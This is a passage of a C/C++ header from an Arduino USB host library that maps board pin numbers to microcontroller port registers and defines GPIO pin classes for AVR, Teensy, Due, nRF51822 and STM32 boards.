Pe6 // D7 - PE6\n\n#define P8  Pb4 // D8 - PB4\n#define P9  Pb5 // D9 - PB5\n#define P10 Pb6 // D10 - PB6\n#define P11 Pb7 // D11 - PB7\n#define P12 Pd6 // D12 - PD6\n#define P13 Pc7 // D13 - PC7\n\n#define P14 Pb3 // D14 - MISO - PB3\n#define P15 Pb1 // D15 - SCK - PB1\n#define P16 Pb2 // D16 - MOSI - PB2\n#define P17 Pb0 // D17 - SS - PB0\n\n#define P18 Pf7 // D18 - A0 - PF7\n#define P19 Pf6 // D19 - A1 - PF6\n#define P20 Pf5 // D20 - A2 - PF5\n#define P21 Pf4 // D21 - A3 - PF4\n#define P22 Pf1 // D22 - A4 - PF1\n#define P23 Pf0 // D23 - A5 - PF0\n\n#define P24 Pd4 // D24 / D4 - A6 - PD4\n#define P25 Pd7 // D25 / D6 - A7 - PD7\n#define P26 Pb4 // D26 / D8 - A8 - PB4\n#define P27 Pb5 // D27 / D9 - A9 - PB5\n#define P28 Pb6 // D28 / D10 - A10 - PB6\n#define P29 Pd6 // D29 / D12 - A11 - PD6\n\n// Arduino Leonardo pin numbers\n\n#elif defined(CORE_TEENSY) && (defined(__AVR_AT90USB646__) || defined(__AVR_AT90USB1286__))\n// Teensy++ 1.0 and 2.0 pin numbers\n// http://www.pjrc.com/teensy/pinout.html\n#define P0  Pd0\n#define P1  Pd1\n#define P2  Pd2\n#define P3  Pd3\n#define P4  Pd4\n#define P5  Pd5\n#define P6  Pd6\n#define P7  Pd7\n#define P8  Pe0\n#define P9  Pe1\n#define P10 Pc0\n#define P11 Pc1\n#define P12 Pc2\n#define P13 Pc3\n#define P14 Pc4\n#define P15 Pc5\n#define P16 Pc6\n#define P17 Pc7\n#define P18 Pe6\n#define P19 Pe7\n#define P20 Pb0\n#define P21 Pb1\n#define P22 Pb2\n#define P23 Pb3\n#define P24 Pb4\n#define P25 Pb5\n#define P26 Pb6\n#define P27 Pb7\n#define P28 Pa0\n#define P29 Pa1\n#define P30 Pa2\n#define P31 Pa3\n#define P32 Pa4\n#define P33 Pa5\n#define P34 Pa6\n#define P35 Pa7\n#define P36 Pe4\n#define P37 Pe5\n#define P38 Pf0\n#define P39 Pf1\n#define P40 Pf2\n#define P41 Pf3\n#define P42 Pf4\n#define P43 Pf5\n#define P44 Pf6\n#define P45 Pf7\n// Teensy++ 1.0 and 2.0\n\n#elif defined(ARDUINO_AVR_BALANDUINO) && (defined(__AVR_ATmega644__) || defined(__AVR_ATmega1284P__))\n// Balanduino pin numbers\n// http://balanduino.net/\n#define P0  Pd0 /* 0  - PD0 */\n#define P1  Pd1 /* 1  - PD1 */\n\n#if BALANDUINO_REVISION < 13\n  #define P2  Pb2 /* 2  - PB2 */\n  #define P3  Pd6 /* 3  - PD6 */\n  #define P4  Pd7 /* 4  - PD7 */\n  #define P5  Pb3 /* 5  - PB3 */\n#else\n  #define P2  Pd2 /* 2  - PD2 */\n  #define P3  Pd3 /* 3  - PD3 */\n  #define P4  Pd6 /* 4  - PD6 */\n  #define P5  Pd7 /* 5  - PD7 */\n#endif\n\n#define P6  Pb4 /* 6  - PB4 */\n#define P7  Pa0 /* 7  - PA0 */\n#define P8  Pa1 /* 8  - PA1 */\n#define P9  Pa2 /* 9  - PA2 */\n#define P10 Pa3 /* 10 - PA3 */\n#define P11 Pa4 /* 11 - PA4 */\n#define P12 Pa5 /* 12 - PA5 */\n#define P13 Pc1 /* 13 - PC1 */\n#define P14 Pc0 /* 14 - PC0 */\n\n#if BALANDUINO_REVISION < 13\n  #define P15 Pd2 /* 15 - PD2 */\n  #define P16 Pd3 /* 16 - PD3 */\n#else\n  #define P15 Pb2 /* 15 - PB2 */\n  #define P16 Pb3 /* 16 - PB2 */\n#endif\n\n#define P17 Pd4 /* 17 - PD4 */\n#define P18 Pd5 /* 18 - PD5 */\n#define P19 Pc2 /* 19 - PC2 */\n#define P20 Pc3 /* 20 - PC3 */\n#define P21 Pc4 /* 21 - PC4 */\n#define P22 Pc5 /* 22 - PC5 */\n#define P23 Pc6 /* 23 - PC6 */\n#define P24 Pc7 /* 24 - PC7 */\n#define P25 Pb0 /* 25 - PB0 */\n#define P26 Pb1 /* 26 - PB1 */\n#define P27 Pb5 /* 27 - PB5 */\n#define P28 Pb6 /* 28 - PB6 */\n#define P29 Pb7 /* 29 - PB7 */\n#define P30 Pa6 /* 30 - PA6 */\n#define P31 Pa7 /* 31 - PA7 */\n// Balanduino\n\n#elif defined(ARDUINO_AVR_UNO_PRO) && defined(__AVR_ATmega1284P__)\n// UNO*Pro pin numbers\n// Homepage: http://www.hobbytronics.co.uk/arduino-uno-pro\n// Pin Reference: http://www.hobbytronics.co.uk/download/uno_pro/pins_arduino.h\n#define P0  Pd0\n#define P1  Pd1\n#define P2  Pb2\n#define P3  Pb3\n#define P4  Pb0\n#define P5  Pb1\n#define P6  Pd2\n#define P7  Pd3\n#define P8  Pd5\n#define P9  Pd6\n#define P10 Pb4\n#define P11 Pb5\n#define P12 Pb6\n#define P13 Pb7\n#define P14 Pa7\n#define P15 Pa6\n#define P16 Pa5\n#define P17 Pa4\n#define P18 Pa3\n#define P19 Pa2\n#define P20 Pa1\n#define P21 Pa0\n#define P22 Pc0\n#define P23 Pc1\n#define P24 Pc2\n#define P25 Pc3\n#define P26 Pc4\n#define P27 Pc5\n#define P28 Pc6\n#define P29 Pc7\n#define P30 Pd4\n#define P31 Pd7\n// UNO*Pro\n\n#elif defined(__AVR_ATmega644__) || defined(__AVR_ATmega644P__) || defined(__AVR_ATmega1284__) || defined(__AVR_ATmega1284P__)\n// Sanguino pin numbers\n// Homepage: http://sanguino.cc/hardware\n// Hardware add-on: https://github.com/Lauszus/Sanguino\n#define P0  Pb0\n#define P1  Pb1\n#define P2  Pb2\n#define P3  Pb3\n#define P4  Pb4\n#define P5  Pb5\n#define P6  Pb6\n#define P7  Pb7\n#define P8  Pd0\n#define P9  Pd1\n#define P10 Pd2\n#define P11 Pd3\n#define P12 Pd4\n#define P13 Pd5\n#define P14 Pd6\n#define P15 Pd7\n#define P16 Pc0\n#define P17 Pc1\n#define P18 Pc2\n#define P19 Pc3\n#define P20 Pc4\n#define P21 Pc5\n#define P22 Pc6\n#define P23 Pc7\n#define P24 Pa0\n#define P25 Pa1\n#define P26 Pa2\n#define P27 Pa3\n#define P28 Pa4\n#define P29 Pa5\n#define P30 Pa6\n#define P31 Pa7\n// Sanguino\n\n#else\n#error \"Please define board in avrpins.h\"\n\n#endif // Arduino pin definitions\n\n#elif defined(__arm__)\n\n// pointers are 32 bits on ARM\n#define pgm_read_pointer(p) pgm_read_dword(p)\n\n#if defined(CORE_TEENSY) && (defined(__MK20DX128__) || defined(__MK20DX256__) || defined(__MK64FX512__) || defined(__MK66FX1M0__))\n\n#include \"core_pins.h\"\n#include \"avr_emulation.h\"\n\n#define GPIO_BITBAND_ADDR(reg, bit) (((uint32_t)&(reg) - 0x40000000) * 32 + (bit) * 4 + 0x42000000)\n#define GPIO_BITBAND_PTR(reg, bit) ((uint8_t *)GPIO_BITBAND_ADDR((reg), (bit)))\n\n#define MAKE_PIN(className, baseReg, pinNum, configReg) \\\nclass className { \\\npublic: \\\n  static void Set() { \\\n    *GPIO_BITBAND_PTR(baseReg, pinNum) = 1; \\\n  } \\\n  static void Clear() { \\\n    *GPIO_BITBAND_PTR(baseReg, pinNum) = 0; \\\n  } \\\n  static void SetDirRead() { \\\n    configReg = PORT_PCR_SRE | PORT_PCR_DSE | PORT_PCR_MUX(1); \\\n    *(GPIO_BITBAND_PTR(baseReg, pinNum) + 640) = 0; \\\n  } \\\n  static void SetDirWrite() { \\\n    configReg = PORT_PCR_SRE | PORT_PCR_DSE | PORT_PCR_MUX(1); \\\n    *(GPIO_BITBAND_PTR(baseReg, pinNum) + 640) = 1; \\\n  } \\\n  static uint8_t IsSet() { \\\n    return *(GPIO_BITBAND_PTR(baseReg, pinNum) + 512); \\\n  } \\\n};\n\nMAKE_PIN(P0, CORE_PIN0_PORTREG, CORE_PIN0_BIT, CORE_PIN0_CONFIG);\nMAKE_PIN(P1, CORE_PIN1_PORTREG, CORE_PIN1_BIT, CORE_PIN1_CONFIG);\nMAKE_PIN(P2, CORE_PIN2_PORTREG, CORE_PIN2_BIT, CORE_PIN2_CONFIG);\nMAKE_PIN(P3, CORE_PIN3_PORTREG, CORE_PIN3_BIT, CORE_PIN3_CONFIG);\nMAKE_PIN(P4, CORE_PIN4_PORTREG, CORE_PIN4_BIT, CORE_PIN4_CONFIG);\nMAKE_PIN(P5, CORE_PIN5_PORTREG, CORE_PIN5_BIT, CORE_PIN5_CONFIG);\nMAKE_PIN(P6, CORE_PIN6_PORTREG, CORE_PIN6_BIT, CORE_PIN6_CONFIG);\nMAKE_PIN(P7, CORE_PIN7_PORTREG, CORE_PIN7_BIT, CORE_PIN7_CONFIG);\nMAKE_PIN(P8, CORE_PIN8_PORTREG, CORE_PIN8_BIT, CORE_PIN8_CONFIG);\nMAKE_PIN(P9, CORE_PIN9_PORTREG, CORE_PIN9_BIT, CORE_PIN9_CONFIG);\nMAKE_PIN(P10, CORE_PIN10_PORTREG, CORE_PIN10_BIT, CORE_PIN10_CONFIG);\nMAKE_PIN(P11, CORE_PIN11_PORTREG, CORE_PIN11_BIT, CORE_PIN11_CONFIG);\nMAKE_PIN(P12, CORE_PIN12_PORTREG, CORE_PIN12_BIT, CORE_PIN12_CONFIG);\nMAKE_PIN(P13, CORE_PIN13_PORTREG, CORE_PIN13_BIT, CORE_PIN13_CONFIG);\nMAKE_PIN(P14, CORE_PIN14_PORTREG, CORE_PIN14_BIT, CORE_PIN14_CONFIG);\nMAKE_PIN(P15, CORE_PIN15_PORTREG, CORE_PIN15_BIT, CORE_PIN15_CONFIG);\nMAKE_PIN(P16, CORE_PIN16_PORTREG, CORE_PIN16_BIT, CORE_PIN16_CONFIG);\nMAKE_PIN(P17, CORE_PIN17_PORTREG, CORE_PIN17_BIT, CORE_PIN17_CONFIG);\nMAKE_PIN(P18, CORE_PIN18_PORTREG, CORE_PIN18_BIT, CORE_PIN18_CONFIG);\nMAKE_PIN(P19, CORE_PIN19_PORTREG, CORE_PIN19_BIT, CORE_PIN19_CONFIG);\nMAKE_PIN(P20, CORE_PIN20_PORTREG, CORE_PIN20_BIT, CORE_PIN20_CONFIG);\nMAKE_PIN(P21, CORE_PIN21_PORTREG, CORE_PIN21_BIT, CORE_PIN21_CONFIG);\nMAKE_PIN(P22, CORE_PIN22_PORTREG, CORE_PIN22_BIT, CORE_PIN22_CONFIG);\nMAKE_PIN(P23, CORE_PIN23_PORTREG, CORE_PIN23_BIT, CORE_PIN23_CONFIG);\nMAKE_PIN(P24, CORE_PIN24_PORTREG, CORE_PIN24_BIT, CORE_PIN24_CONFIG);\nMAKE_PIN(P25, CORE_PIN25_PORTREG, CORE_PIN25_BIT, CORE_PIN25_CONFIG);\nMAKE_PIN(P26, CORE_PIN26_PORTREG, CORE_PIN26_BIT, CORE_PIN26_CONFIG);\nMAKE_PIN(P27, CORE_PIN27_PORTREG, CORE_PIN27_BIT, CORE_PIN27_CONFIG);\nMAKE_PIN(P28, CORE_PIN28_PORTREG, CORE_PIN28_BIT, CORE_PIN28_CONFIG);\nMAKE_PIN(P29, CORE_PIN29_PORTREG, CORE_PIN29_BIT, CORE_PIN29_CONFIG);\nMAKE_PIN(P30, CORE_PIN30_PORTREG, CORE_PIN30_BIT, CORE_PIN30_CONFIG);\nMAKE_PIN(P31, CORE_PIN31_PORTREG, CORE_PIN31_BIT, CORE_PIN31_CONFIG);\nMAKE_PIN(P32, CORE_PIN32_PORTREG, CORE_PIN32_BIT, CORE_PIN32_CONFIG);\nMAKE_PIN(P33, CORE_PIN33_PORTREG, CORE_PIN33_BIT, CORE_PIN33_CONFIG);\n#if defined(__MK64FX512__) || defined(__MK66FX1M0__)\nMAKE_PIN(P34, CORE_PIN34_PORTREG, CORE_PIN34_BIT, CORE_PIN34_CONFIG);\nMAKE_PIN(P35, CORE_PIN35_PORTREG, CORE_PIN35_BIT, CORE_PIN35_CONFIG);\nMAKE_PIN(P36, CORE_PIN36_PORTREG, CORE_PIN36_BIT, CORE_PIN36_CONFIG);\nMAKE_PIN(P37, CORE_PIN37_PORTREG, CORE_PIN37_BIT, CORE_PIN37_CONFIG);\nMAKE_PIN(P38, CORE_PIN38_PORTREG, CORE_PIN38_BIT, CORE_PIN38_CONFIG);\nMAKE_PIN(P39, CORE_PIN39_PORTREG, CORE_PIN39_BIT, CORE_PIN39_CONFIG);\nMAKE_PIN(P40, CORE_PIN40_PORTREG, CORE_PIN40_BIT, CORE_PIN40_CONFIG);\nMAKE_PIN(P41, CORE_PIN41_PORTREG, CORE_PIN41_BIT, CORE_PIN41_CONFIG);\nMAKE_PIN(P42, CORE_PIN42_PORTREG, CORE_PIN42_BIT, CORE_PIN42_CONFIG);\nMAKE_PIN(P43, CORE_PIN43_PORTREG, CORE_PIN43_BIT, CORE_PIN43_CONFIG);\nMAKE_PIN(P44, CORE_PIN44_PORTREG, CORE_PIN44_BIT, CORE_PIN44_CONFIG);\nMAKE_PIN(P45, CORE_PIN45_PORTREG, CORE_PIN45_BIT, CORE_PIN45_CONFIG);\nMAKE_PIN(P46, CORE_PIN46_PORTREG, CORE_PIN46_BIT, CORE_PIN46_CONFIG);\nMAKE_PIN(P47, CORE_PIN47_PORTREG, CORE_PIN47_BIT, CORE_PIN47_CONFIG);\nMAKE_PIN(P48, CORE_PIN48_PORTREG, CORE_PIN48_BIT, CORE_PIN48_CONFIG);\nMAKE_PIN(P49, CORE_PIN49_PORTREG, CORE_PIN49_BIT, CORE_PIN49_CONFIG);\nMAKE_PIN(P50, CORE_PIN50_PORTREG, CORE_PIN50_BIT, CORE_PIN50_CONFIG);\nMAKE_PIN(P51, CORE_PIN51_PORTREG, CORE_PIN51_BIT, CORE_PIN51_CONFIG);\nMAKE_PIN(P52, CORE_PIN52_PORTREG, CORE_PIN52_BIT, CORE_PIN52_CONFIG);\nMAKE_PIN(P53, CORE_PIN53_PORTREG, CORE_PIN53_BIT, CORE_PIN53_CONFIG);\nMAKE_PIN(P54, CORE_PIN54_PORTREG, CORE_PIN54_BIT, CORE_PIN54_CONFIG);\nMAKE_PIN(P55, CORE_PIN55_PORTREG, CORE_PIN55_BIT, CORE_PIN55_CONFIG);\nMAKE_PIN(P56, CORE_PIN56_PORTREG, CORE_PIN56_BIT, CORE_PIN56_CONFIG);\nMAKE_PIN(P57, CORE_PIN57_PORTREG, CORE_PIN57_BIT, CORE_PIN57_CONFIG);\nMAKE_PIN(P58, CORE_PIN58_PORTREG, CORE_PIN58_BIT, CORE_PIN58_CONFIG);\nMAKE_PIN(P59, CORE_PIN59_PORTREG, CORE_PIN59_BIT, CORE_PIN59_CONFIG);\nMAKE_PIN(P60, CORE_PIN60_PORTREG, CORE_PIN60_BIT, CORE_PIN60_CONFIG);\nMAKE_PIN(P61, CORE_PIN61_PORTREG, CORE_PIN61_BIT, CORE_PIN61_CONFIG);\nMAKE_PIN(P62, CORE_PIN62_PORTREG, CORE_PIN62_BIT, CORE_PIN62_CONFIG);\nMAKE_PIN(P63, CORE_PIN63_PORTREG, CORE_PIN63_BIT, CORE_PIN63_CONFIG);\n#endif\n\n#undef MAKE_PIN\n\n#elif defined(CORE_TEENSY) && (defined(__MKL26Z64__))\n\n// we could get lower level by making these macros work properly.\n// for now just use the semi optimised version, it costs a lookup in the pin pgm table per op\n// but for now it will do.\n//#define GPIO_BITBAND_ADDR(reg, bit) (((volatile uint8_t *)&(reg) + ((bit) >> 3)))\n//#define GPIO_BITBAND_MASK(reg, bit) (1<<((bit) & 7))\n//#define GPIO_BITBAND_PTR(reg, bit) ((volatile uint8_t *)GPIO_BITBAND_ADDR((reg), (bit)))\n\n#include \"core_pins.h\"\n#include \"avr_emulation.h\"\n\n#define MAKE_PIN(className, baseReg, pinNum, configReg) \\\nclass className { \\\npublic: \\\n  static void Set() { \\\n    *portSetRegister(pinNum) = digitalPinToBitMask(pinNum); \\\n  } \\\n  static void Clear() { \\\n    *portClearRegister(pinNum) = digitalPinToBitMask(pinNum); \\\n  } \\\n  static void SetDirRead() { \\\n    configReg = PORT_PCR_SRE | PORT_PCR_DSE | PORT_PCR_MUX(1); \\\n    *portModeRegister(pinNum) &= ~digitalPinToBitMask(pinNum); \\\n  } \\\n  static void SetDirWrite() { \\\n    configReg = PORT_PCR_SRE | PORT_PCR_DSE | PORT_PCR_MUX(1); \\\n    *portModeRegister(pinNum) |= digitalPinToBitMask(pinNum); \\\n  } \\\n  static uint8_t IsSet() { \\\n    return (*portInputRegister(pinNum) & digitalPinToBitMask(pinNum)) ? 1 : 0; \\\n  } \\\n};\n\nMAKE_PIN(P0, CORE_PIN0_PORTREG, 0, CORE_PIN0_CONFIG);\nMAKE_PIN(P1, CORE_PIN1_PORTREG, 1, CORE_PIN1_CONFIG);\nMAKE_PIN(P2, CORE_PIN2_PORTREG, 2, CORE_PIN2_CONFIG);\nMAKE_PIN(P3, CORE_PIN3_PORTREG, 3, CORE_PIN3_CONFIG);\nMAKE_PIN(P4, CORE_PIN4_PORTREG, 4, CORE_PIN4_CONFIG);\nMAKE_PIN(P5, CORE_PIN5_PORTREG, 5, CORE_PIN5_CONFIG);\nMAKE_PIN(P6, CORE_PIN6_PORTREG, 6, CORE_PIN6_CONFIG);\nMAKE_PIN(P7, CORE_PIN7_PORTREG, 7, CORE_PIN7_CONFIG);\nMAKE_PIN(P8, CORE_PIN8_PORTREG, 8, CORE_PIN8_CONFIG);\nMAKE_PIN(P9, CORE_PIN9_PORTREG, 9, CORE_PIN9_CONFIG);\nMAKE_PIN(P10, CORE_PIN10_PORTREG, 10, CORE_PIN10_CONFIG);\nMAKE_PIN(P11, CORE_PIN11_PORTREG, 11, CORE_PIN11_CONFIG);\nMAKE_PIN(P12, CORE_PIN12_PORTREG, 12, CORE_PIN12_CONFIG);\nMAKE_PIN(P13, CORE_PIN13_PORTREG, 13, CORE_PIN13_CONFIG);\nMAKE_PIN(P14, CORE_PIN14_PORTREG, 14, CORE_PIN14_CONFIG);\nMAKE_PIN(P15, CORE_PIN15_PORTREG, 15, CORE_PIN15_CONFIG);\nMAKE_PIN(P16, CORE_PIN16_PORTREG, 16, CORE_PIN16_CONFIG);\nMAKE_PIN(P17, CORE_PIN17_PORTREG, 17, CORE_PIN17_CONFIG);\nMAKE_PIN(P18, CORE_PIN18_PORTREG, 18, CORE_PIN18_CONFIG);\nMAKE_PIN(P19, CORE_PIN19_PORTREG, 19, CORE_PIN19_CONFIG);\nMAKE_PIN(P20, CORE_PIN20_PORTREG, 20, CORE_PIN20_CONFIG);\nMAKE_PIN(P21, CORE_PIN21_PORTREG, 21, CORE_PIN21_CONFIG);\nMAKE_PIN(P22, CORE_PIN22_PORTREG, 22, CORE_PIN22_CONFIG);\nMAKE_PIN(P23, CORE_PIN23_PORTREG, 23, CORE_PIN23_CONFIG);\nMAKE_PIN(P24, CORE_PIN24_PORTREG, 24, CORE_PIN24_CONFIG);\nMAKE_PIN(P25, CORE_PIN25_PORTREG, 25, CORE_PIN25_CONFIG);\nMAKE_PIN(P26, CORE_PIN26_PORTREG, 26, CORE_PIN26_CONFIG);\n\n#undef MAKE_PIN\n\n#elif defined(ARDUINO_SAM_DUE) && defined(__SAM3X8E__)\n\n// SetDirRead:\n//   Disable interrupts\n//   Disable the pull up resistor\n//   Set to INPUT\n//   Enable PIO\n\n// SetDirWrite:\n//   Disable interrupts\n//   Disable the pull up resistor\n//   Set to OUTPUT\n//   Enable PIO\n\n#define MAKE_PIN(className, pio, pinMask) \\\nclass className { \\\npublic: \\\n  static void Set() { \\\n    pio->PIO_SODR = pinMask; \\\n  } \\\n  static void Clear() { \\\n    pio->PIO_CODR = pinMask; \\\n  } \\\n  static void SetDirRead() { \\\n    pio->PIO_IDR = pinMask ; \\\n    pio->PIO_PUDR = pinMask; \\\n    pio->PIO_ODR = pinMask; \\\n    pio->PIO_PER = pinMask; \\\n  } \\\n  static void SetDirWrite() { \\\n    pio->PIO_IDR = pinMask ; \\\n    pio->PIO_PUDR = pinMask; \\\n    pio->PIO_OER = pinMask; \\\n    pio->PIO_PER = pinMask; \\\n  } \\\n  static uint8_t IsSet() { \\\n    return pio->PIO_PDSR & pinMask; \\\n  } \\\n};\n\n// See: http://arduino.cc/en/Hacking/PinMappingSAM3X and variant.cpp\n\nMAKE_PIN(P0, PIOA, PIO_PA8);\nMAKE_PIN(P1, PIOA, PIO_PA9);\nMAKE_PIN(P2, PIOB, PIO_PB25);\nMAKE_PIN(P3, PIOC, PIO_PC28);\nMAKE_PIN(P4, PIOC, PIO_PC26);\nMAKE_PIN(P5, PIOC, PIO_PC25);\nMAKE_PIN(P6, PIOC, PIO_PC24);\nMAKE_PIN(P7, PIOC, PIO_PC23);\nMAKE_PIN(P8, PIOC, PIO_PC22);\nMAKE_PIN(P9, PIOC, PIO_PC21);\nMAKE_PIN(P10, PIOC, PIO_PC29);\nMAKE_PIN(P11, PIOD, PIO_PD7);\nMAKE_PIN(P12, PIOD, PIO_PD8);\nMAKE_PIN(P13, PIOB, PIO_PB27);\nMAKE_PIN(P14, PIOD, PIO_PD4);\nMAKE_PIN(P15, PIOD, PIO_PD5);\nMAKE_PIN(P16, PIOA, PIO_PA13);\nMAKE_PIN(P17, PIOA, PIO_PA12);\nMAKE_PIN(P18, PIOA, PIO_PA11);\nMAKE_PIN(P19, PIOA, PIO_PA10);\nMAKE_PIN(P20, PIOB, PIO_PB12);\nMAKE_PIN(P21, PIOB, PIO_PB13);\nMAKE_PIN(P22, PIOB, PIO_PB26);\nMAKE_PIN(P23, PIOA, PIO_PA14);\nMAKE_PIN(P24, PIOA, PIO_PA15);\nMAKE_PIN(P25, PIOD, PIO_PD0);\nMAKE_PIN(P26, PIOD, PIO_PD1);\nMAKE_PIN(P27, PIOD, PIO_PD2);\nMAKE_PIN(P28, PIOD, PIO_PD3);\nMAKE_PIN(P29, PIOD, PIO_PD6);\nMAKE_PIN(P30, PIOD, PIO_PD9);\nMAKE_PIN(P31, PIOA, PIO_PA7);\nMAKE_PIN(P32, PIOD, PIO_PD10);\nMAKE_PIN(P33, PIOC, PIO_PC1);\nMAKE_PIN(P34, PIOC, PIO_PC2);\nMAKE_PIN(P35, PIOC, PIO_PC3);\nMAKE_PIN(P36, PIOC, PIO_PC4);\nMAKE_PIN(P37, PIOC, PIO_PC5);\nMAKE_PIN(P38, PIOC, PIO_PC6);\nMAKE_PIN(P39, PIOC, PIO_PC7);\nMAKE_PIN(P40, PIOC, PIO_PC8);\nMAKE_PIN(P41, PIOC, PIO_PC9);\nMAKE_PIN(P42, PIOA, PIO_PA19);\nMAKE_PIN(P43, PIOA, PIO_PA20);\nMAKE_PIN(P44, PIOC, PIO_PC19);\nMAKE_PIN(P45, PIOC, PIO_PC18);\nMAKE_PIN(P46, PIOC, PIO_PC17);\nMAKE_PIN(P47, PIOC, PIO_PC16);\nMAKE_PIN(P48, PIOC, PIO_PC15);\nMAKE_PIN(P49, PIOC, PIO_PC14);\nMAKE_PIN(P50, PIOC, PIO_PC13);\nMAKE_PIN(P51, PIOC, PIO_PC12);\nMAKE_PIN(P52, PIOB, PIO_PB21);\nMAKE_PIN(P53, PIOB, PIO_PB14);\nMAKE_PIN(P54, PIOA, PIO_PA16);\nMAKE_PIN(P55, PIOA, PIO_PA24);\nMAKE_PIN(P56, PIOA, PIO_PA23);\nMAKE_PIN(P57, PIOA, PIO_PA22);\nMAKE_PIN(P58, PIOA, PIO_PA6);\nMAKE_PIN(P59, PIOA, PIO_PA4);\nMAKE_PIN(P60, PIOA, PIO_PA3);\nMAKE_PIN(P61, PIOA, PIO_PA2);\nMAKE_PIN(P62, PIOB, PIO_PB17);\nMAKE_PIN(P63, PIOB, PIO_PB18);\nMAKE_PIN(P64, PIOB, PIO_PB19);\nMAKE_PIN(P65, PIOB, PIO_PB20);\nMAKE_PIN(P66, PIOB, PIO_PB15);\nMAKE_PIN(P67, PIOB, PIO_PB16);\nMAKE_PIN(P68, PIOA, PIO_PA1);\nMAKE_PIN(P69, PIOA, PIO_PA0);\nMAKE_PIN(P70, PIOA, PIO_PA17);\nMAKE_PIN(P71, PIOA, PIO_PA18);\nMAKE_PIN(P72, PIOC, PIO_PC30);\nMAKE_PIN(P73, PIOA, PIO_PA21);\nMAKE_PIN(P74, PIOA, PIO_PA25); // MISO\nMAKE_PIN(P75, PIOA, PIO_PA26); // MOSI\nMAKE_PIN(P76, PIOA, PIO_PA27); // CLK\nMAKE_PIN(P77, PIOA, PIO_PA28);\nMAKE_PIN(P78, PIOB, PIO_PB23); // Unconnected\n\n#undef MAKE_PIN\n\n#elif defined(RBL_NRF51822)\n\n#define MAKE_PIN(className, pin) \\\nclass className { \\\npublic: \\\n    static void Set() { \\\n        nrf_gpio_pin_set(pin); \\\n    } \\\n    static void Clear() { \\\n        nrf_gpio_pin_clear(pin); \\\n    } \\\n    static void SetDirRead() { \\\n        nrf_gpio_cfg_input(pin, NRF_GPIO_PIN_NOPULL); \\\n    } \\\n    static void SetDirWrite() { \\\n        nrf_gpio_cfg_output(pin); \\\n    } \\\n    static uint8_t IsSet() { \\\n        return (uint8_t)nrf_gpio_pin_read(pin); \\\n    } \\\n};\n\n// See: pin_transform.c in RBL nRF51822 SDK\nMAKE_PIN(P0, Pin_nRF51822_to_Arduino(D0));\nMAKE_PIN(P1, Pin_nRF51822_to_Arduino(D1));\nMAKE_PIN(P2, Pin_nRF51822_to_Arduino(D2));\nMAKE_PIN(P3, Pin_nRF51822_to_Arduino(D3));\nMAKE_PIN(P4, Pin_nRF51822_to_Arduino(D4));\nMAKE_PIN(P5, Pin_nRF51822_to_Arduino(D5));\nMAKE_PIN(P6, Pin_nRF51822_to_Arduino(D6));\nMAKE_PIN(P7, Pin_nRF51822_to_Arduino(D7));\nMAKE_PIN(P8, Pin_nRF51822_to_Arduino(D8));\nMAKE_PIN(P9, Pin_nRF51822_to_Arduino(D9)); // INT\nMAKE_PIN(P10, Pin_nRF51822_to_Arduino(D10)); // SS\nMAKE_PIN(P11, Pin_nRF51822_to_Arduino(D11));\nMAKE_PIN(P12, Pin_nRF51822_to_Arduino(D12));\nMAKE_PIN(P13, Pin_nRF51822_to_Arduino(D13));\nMAKE_PIN(P14, Pin_nRF51822_to_Arduino(D14));\nMAKE_PIN(P15, Pin_nRF51822_to_Arduino(D15));\nMAKE_PIN(P17, Pin_nRF51822_to_Arduino(D17)); // MISO\nMAKE_PIN(P18, Pin_nRF51822_to_Arduino(D18)); // MOSI\nMAKE_PIN(P16, Pin_nRF51822_to_Arduino(D16)); // CLK\nMAKE_PIN(P19, Pin_nRF51822_to_Arduino(D19));\nMAKE_PIN(P20, Pin_nRF51822_to_Arduino(D20));\nMAKE_PIN(P21, Pin_nRF51822_to_Arduino(D21));\nMAKE_PIN(P22, Pin_nRF51822_to_Arduino(D22));\nMAKE_PIN(P23, Pin_nRF51822_to_Arduino(D23));\nMAKE_PIN(P24, Pin_nRF51822_to_Arduino(D24));\n\n#undef MAKE_PIN\n\n#elif defined(STM32F446xx)\n// NUCLEO-F446RE\n\n#define MAKE_PIN(className, port, pin) \\\nclass className { \\\npublic: \\\n  static void Set() { \\\n    HAL_GPIO_WritePin(port, pin, GPIO_PIN_SET); \\\n  } \\\n  static void Clear() { \\\n    HAL_GPIO_WritePin(port, pin, GPIO_PIN_RESET); \\\n  } \\\n  static void SetDirRead() { \\\n    static GPIO_InitTypeDef GPIO_InitStruct; \\\n    GPIO_InitStruct.Pin = pin; \\\n    GPIO_InitStruct.Mode = GPIO_MODE_INPUT; \\\n    GPIO_InitStruct.Pull = GPIO_NOPULL; \\\n    HAL_GPIO_Init(port, &GPIO_InitStruct); \\\n  } \\\n  static void SetDirWrite() { \\\n    static GPIO_InitTypeDef GPIO_InitStruct; \\\n    GPIO_InitStruct.Pin = pin; \\\n    GPIO_InitStruct.Mode = GPIO_MODE_OUTPUT_PP; \\\n    GPIO_InitStruct.Pull = GPIO_NOPULL; \\\n    GPIO_InitStruct.Speed = GPIO_SPEED_HIGH; \\\n    HAL_GPIO_Init(port, &GPIO_InitStruct); \\\n  } \\\n  static GPIO_PinState IsSet() { \\\n    return HAL_GPIO_ReadPin(port, pin); \\\n  } \\\n};\n\nMAKE_PIN(P0, GPIOA, GPIO_PIN_3); // D0\nMAKE_PIN(P1, GPIOA, GPIO_PIN_2); // D1\nMAKE_PIN(P2, GPIOA, GPIO_PIN_10); // D2\nMAKE_PIN(P3, GPIOB, GPIO_PIN_3); // D3\nMAKE_PIN(P4, GPIOB, GPIO_PIN_5); // D4\nMAKE_PIN(P5, GPIOB, GPIO_PIN_4); // D5\nMAKE_PIN(P6, GPIOB, GPIO_PIN_10); // D6\nMAKE_PIN(P7, GPIOA, GPIO_PIN_8); // D7\nMAKE_PIN(P8, GPIOA, GPIO_PIN_9); // D8\nMAKE_PIN(P9, GPIOC, GPIO_PIN_7); // D9\nMAKE_PIN(P10, GPIOB, GPIO_PIN_6); // D10\nMAKE_PIN(P11, GPIOA, GPIO_PIN_7); // D11\nMAKE_PIN(P12, GPIOA, GPIO_PIN_6); // D12\nMAKE_PIN(P13, GPIOA, GPIO_PIN_5); // D13\n\nMAKE_PIN(P14, GPIOA, GPIO_PIN_0); // A0\nMAKE_PIN(P15, GPIOA, GPIO_PIN_1); // A1\nMAKE_PIN(P16, GPIOA, GPIO_PIN_4); // A2\nMAKE_PIN(P17, GPIOB, GPIO_PIN_0); // A3\nMAKE_PIN(P18, GPIOC, GPIO_PIN_1); // A4\nMAKE_PIN(P19, GPIOC, GPIO_PIN_0); // A5\n\n#undef MAKE_PIN\n\n#else\n#error 